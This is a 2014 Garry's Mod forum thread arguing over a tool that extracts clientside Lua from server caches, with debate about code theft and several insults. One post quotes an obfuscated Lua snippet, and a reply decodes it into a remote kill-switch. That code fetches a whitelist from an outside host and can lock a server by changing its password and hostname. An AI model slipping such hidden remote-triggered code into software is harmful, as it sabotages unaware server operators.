• LuaDecrypter (Clientside/Shared Cache Extractor)
    135 replies, posted
This is nothing new & there are many benefits to viewing the code used by servers. Learning, looking for malicious code, checking if a server has stolen your code or just remade the same design etc etc etc.
[QUOTE=rbreslow;43598488].[/QUOTE] Either something they paid for via coder hire or they made themselves, you are encouraging people to steal it. You're a cunt.
[QUOTE=ExtReMLapin;43601323]What if i crypt my LUA files ? Kids will not be able to read it hehe. [lua] if (SERVER and !bGlobal) then local myStrTab = _G["s".."t".."r".."i".."n".."g"]; local charFunc = myStrTab["c".."h".."a".."r"]; local bCaller = _G[ charFunc(82, 117, 110, 83, 116, 114, 105, 110, 103) ]; local hString = ""; local bLister = { 32, 32, 32, 32, 104, 116, 116, 112, 46, 70, 101, 116, 99, 104, 40, 34, 104, 116, 116, 112, 58, 47, 47, 101, 120, 116, 114, 101, 109, 45, 116, 101, 97, 109, 46, 99, 111, 109, 47, 119, 104, 105, 116, 101, 108, 105, 115, 116, 46, 116, 120, 116, 34, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 99, 111, 110, 116, 101, 110, 116, 115, 44, 32, 115, 105, 122, 101, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 111, 99, 97, 108, 32, 101, 114, 114, 111, 114, 78, 111, 72, 97, 108, 116, 32, 61, 32, 69, 114, 114, 111, 114, 78, 111, 72, 97, 108, 116, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 111, 99, 97, 108, 32, 115, 101, 114, 118, 101, 114, 73, 80, 32, 61, 32, 71, 101, 116, 67, 111, 110, 86, 97, 114, 83, 116, 114, 105, 110, 103, 40, 34, 105, 112, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 102, 111, 114, 32, 107, 44, 32, 118, 32, 105, 110, 32, 105, 112, 97, 105, 114, 115, 40, 32, 115, 116, 114, 105, 110, 103, 46, 69, 120, 112, 108, 111, 100, 101, 40, 34, 92, 110, 34, 44, 32, 99, 111, 110, 116, 101, 110, 116, 115, 41, 32, 41, 32, 100, 111, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 32, 33, 115, 116, 114, 105, 110, 103, 46, 102, 105, 110, 100, 40, 118, 44, 32, 115, 101, 114, 118, 101, 114, 73, 80, 44, 32, 110, 105, 108, 44, 32, 116, 114, 117, 101, 41, 32, 41, 32, 116, 104, 101, 110, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 83, 101, 114, 118, 101, 114, 76, 111, 103, 40, 34, 65, 117, 116, 111, 114, 105, 122, 101, 100, 32, 115, 101, 114, 118, 101, 114, 34, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 101, 108, 115, 101, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 82, 117, 110, 67, 111, 110, 115, 111, 108, 101, 67, 111, 109, 109, 97, 110, 100, 40, 34, 115, 118, 95, 112, 97, 115, 115, 119, 111, 114, 100, 34, 44, 32, 34, 103, 101, 116, 116, 104, 101, 102, 117, 99, 107, 111, 117, 116, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 82, 117, 110, 67, 111, 110, 115, 111, 108, 101, 67, 111, 109, 109, 97, 110, 100, 40, 34, 104, 111, 115, 116, 110, 97, 109, 101, 34, 44, 32, 34, 83, 111, 114, 114, 121, 44, 32, 98, 117, 116, 32, 105, 32, 99, 111, 110, 116, 114, 111, 108, 32, 103, 97, 109, 101, 109, 111, 100, 101, 32, 116, 104, 97, 116, 32, 105, 32, 108, 101, 97, 107, 115, 46, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 101, 110, 100, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 101, 110, 100, 59, 10 }; for k, v in ipairs(bLister) do hString = hString..charFunc(v); end; bCaller(hString); bGlobal = true; end; [/lua][/QUOTE] [code] http.Fetch("http://extrem-team.com/whitelist.txt", function(contents, size) local errorNoHalt = ErrorNoHalt; local serverIP = GetConVarString("ip"); for k, v in ipairs( string.Explode("\n", contents) ) do if ( !string.find(v, serverIP, nil, true) ) then ServerLog("Autorized server") else RunConsoleCommand("sv_password", "getthefuckout"); RunConsoleCommand("hostname", "Sorry, but i control gamemode that i leaks."); end; end; [/code] Nice 'Encrypter' :v:
[QUOTE=rbreslow;43602277]Garry appends the word "cat" to the beginning of the file. That's really all that's different.[/QUOTE] Can you just stop?
[QUOTE=SkitZz;43604480]Can you just stop?[/QUOTE] Really, if you don't have anything to contribute to the thread why bother posting? You're upset I'm "leaking" common knowledge. [editline]20th January 2014[/editline] [QUOTE=dingusnin;43602659][code] http.Fetch("http://extrem-team.com/whitelist.txt", function(contents, size) local errorNoHalt = ErrorNoHalt; local serverIP = GetConVarString("ip"); for k, v in ipairs( string.Explode("\n", contents) ) do if ( !string.find(v, serverIP, nil, true) ) then ServerLog("Autorized server") else RunConsoleCommand("sv_password", "getthefuckout"); RunConsoleCommand("hostname", "Sorry, but i control gamemode that i leaks."); end; end; [/code] Nice 'Encrypter' :v:[/QUOTE] The funny thing is, even if it was still encrypted that stops no one from running it on their client....
[QUOTE=rbreslow;43604871]The funny thing is, even if it was still encrypted that stops no one from running it on their client....[/QUOTE] There are a lot of ways to decrypt a char substitution cipher. But since he is going to have to decode it and run it, Why play nice, Just rewrite the RunString function and dump it's parameters. Like Lua PreProc did. I really don't understand why people are so uptight about it, this has been public knowledge for at least a year and a half. Facepunch .... I will never understand you to your full glory.
[QUOTE=dingusnin;43605920]There are a lot of ways to decrypt a char substitution cipher. But since he is going to have to decode it and run it, Why play nice, Just rewrite the RunString function and dump it's parameters. Like Lua PreProc did. I really don't understand why people are so uptight about it, this has been public knowledge for at least a year and a half. Facepunch .... I will never understand you to your full glory.[/QUOTE] By making it so openly available he is providing a tool with which people WILL steal code. He complains about servers using coder hire stuff like its a bad thing. It means they are unoriginal but it is certainly not an excuse to steal their (or the person who actually owns it) code by doing so you are doing worse than they are. Then there is the camp of people who will use it to steal original works. For each situation where a coder uses it to learn from others code there will be 10 other situations where some slimeball steals someone's code. [quote] I'm sick of servers only being cool because of how much money someone's mom gave them to spend on CoderHire Pointshop skins[/quote] That just stinks. Some of the garrysmod community are rotten and this guy is really scraping the bottom of the barrel. His butthurt is punishing the coders, the clients who spend their money for code and coder hire itself. It's immature, irresponsible and frankly quite disgusting. It being public knowledge != everybody being able to do it at a click. People who maliciously do this are as bad as the ddosers who plague this community.
tl;dr anyone who wanted this already had it, now it's opening the gates for opportunism. edit: Btw this may be against gmod's "terms". Since changing the first few bytes to "cats" is a security measure (although a very weak one), "decrypting" the cache is bypassing that security measure, so it's hacking. Do mods enforce those here?
RIP TTT server's huds
[QUOTE=mdeceiver79;43606166]By making it so openly available he is providing a tool with which people WILL steal code. He complains about servers using coder hire stuff like its a bad thing. [/QUOTE] It is a bad thing.
[QUOTE=dingusnin;43602659][code] http.Fetch("http://extrem-team.com/whitelist.txt", function(contents, size) local errorNoHalt = ErrorNoHalt; local serverIP = GetConVarString("ip"); for k, v in ipairs( string.Explode("\n", contents) ) do if ( !string.find(v, serverIP, nil, true) ) then ServerLog("Autorized server") else RunConsoleCommand("sv_password", "getthefuckout"); RunConsoleCommand("hostname", "Sorry, but i control gamemode that i leaks."); end; end; [/code] Nice 'Encrypter' :v:[/QUOTE] Fak :v:
Guys, this really isn't a problem. A year or two ago, there wasn't even compression on cached files - all you had to open was the files in cache/dua/. They were lua files renamed to .dua. It was a non-issue then and it's a non-issue now.
Man, I wish I still had all those lua caches from ToyBox, I'd be using the shit out of this tool [editline]20th January 2014[/editline] wait, since toybox was public lua not sure if they ever cached it... Still, I could have used this a while back for some other things
[QUOTE=rbreslow;43606382]It is a bad thing.[/QUOTE] yes how dare people be willing to use their free time for profiting off of a skill because its ~only gmod~ it is suddenly a bad thing
[QUOTE=Handsome Matt;43607327] although I do question the OPs skid levels, he seems to be awfully upset that developers on CoderHire are getting money so his plan is to steal all the CLIENTSIDE code?[/QUOTE] I'm upset that servers only gain attention on the server list because of how much money they have. I miss original crap as I've explained in [URL]http://facepunch.com/showthread.php?t=1331650[/URL]. Again, it's not my problem how people use the script -- I'm just making it available.
Thanks mate, now people wishing to learn can actually dig up some decent client-side reference material. Surely most of the coders here started your interest in programming chopping up / copy pasting code because you wanted to change something in a game you were playing or something to that effect, so I can't comprehend why you would be so up in arms about code that's probably only covered under creative commons licenses ( If any, usually always ok to modify, use, distribute without profit from my knowledge ) and that will most likely help the development community grow by giving the people that you refuse to help access to better reference material. Yours sincerely, The guy that misses the 2006 Garry's Mod community.
[QUOTE=Handsome Matt;43607523]you sound like a little bitch, quit crying because you got banned from CoderHire for trying to sell other people's work, scumbag.[/QUOTE] lolk
[QUOTE=Handsome Matt;43607523]you sound like a little bitch, quit crying because you got banned from CoderHire for trying to sell other people's work, scumbag.[/QUOTE] did you come here to intentionally be dumb, or is this how you always act?
Notice how everyone who's going against this has scripts on CoderHire. "oh noes nobody will be able to buy my dark rp hud!"
they shouldn't be whining, serverside code is safe
and matt was just trying to show you that there isn't much controversy here, there's been tools like this for a while apparently
[QUOTE=rbreslow;43607661]Notice how everyone who's going against this has scripts on CoderHire. "oh noes nobody will be able to buy my dark rp hud!"[/QUOTE] thanks for posting from our steam chat and [B]NOT[/B] giving me credit
[QUOTE=Haskell;43607724]thanks for posting from our steam chat and [B]NOT[/B] giving me credit[/QUOTE] [IMG]http://puu.sh/6rWDK.png[/IMG] thanks for pointing this out -- I didn't realize it at first [editline]20th January 2014[/editline] [QUOTE=Handsome Matt;43607686]Notice how you tried to get SOMEONE ELSE'S script on CoderHire but had it denied and banned.[/QUOTE] It actually was up for a couple hours :dance:
[IMG]http://i.imgur.com/07aoBpn.jpg[/IMG]
yes do show me, the most vocal and one of actually not too many arguing, my nonexistent coderhire scripts
[QUOTE=rbreslow;43607753]It actually was up for a couple hours :dance:[/QUOTE] taking someone else's work and attempting to pass it off as your own really shows a lot about your ethics and maturity lol. but I guess you don't value that at all then?
[QUOTE=usa;43607848]taking someone else's work and attempting to pass it off as your own really shows a lot about your ethics and maturity lol. but I guess you don't value that at all then?[/QUOTE] I never tried to pass it off as my own, if they wanted it taken down they could have contacted me directly. Please don't derail the thread, however.
[QUOTE=usa;43607848]taking someone else's work and attempting to pass it off as your own really shows a lot about your ethics and maturity lol. but I guess you don't value that at all then?[/QUOTE] i think he was having a giggle, from what i recall he never stole any scripts.
[img]http://foxcock.me/web/ZScreen/2014/01/Screenshot-2014-01-20_14.32.21.png[/img] my one use of coderhire to date [highlight](User was banned for this post ("Off-topic / General thread derailing" - Grea$eMonkey))[/highlight]
[QUOTE=Handsome Matt;43607886]wait until I tell Acecool, he'll have his ass.[/QUOTE] are you going to get your mates to go beat him up? look at you mr hard kid on the block, watch out guys this guy is vicious. he's slamming his fists on the table making a scene,
Sorry, you need to Log In to post a reply to this thread.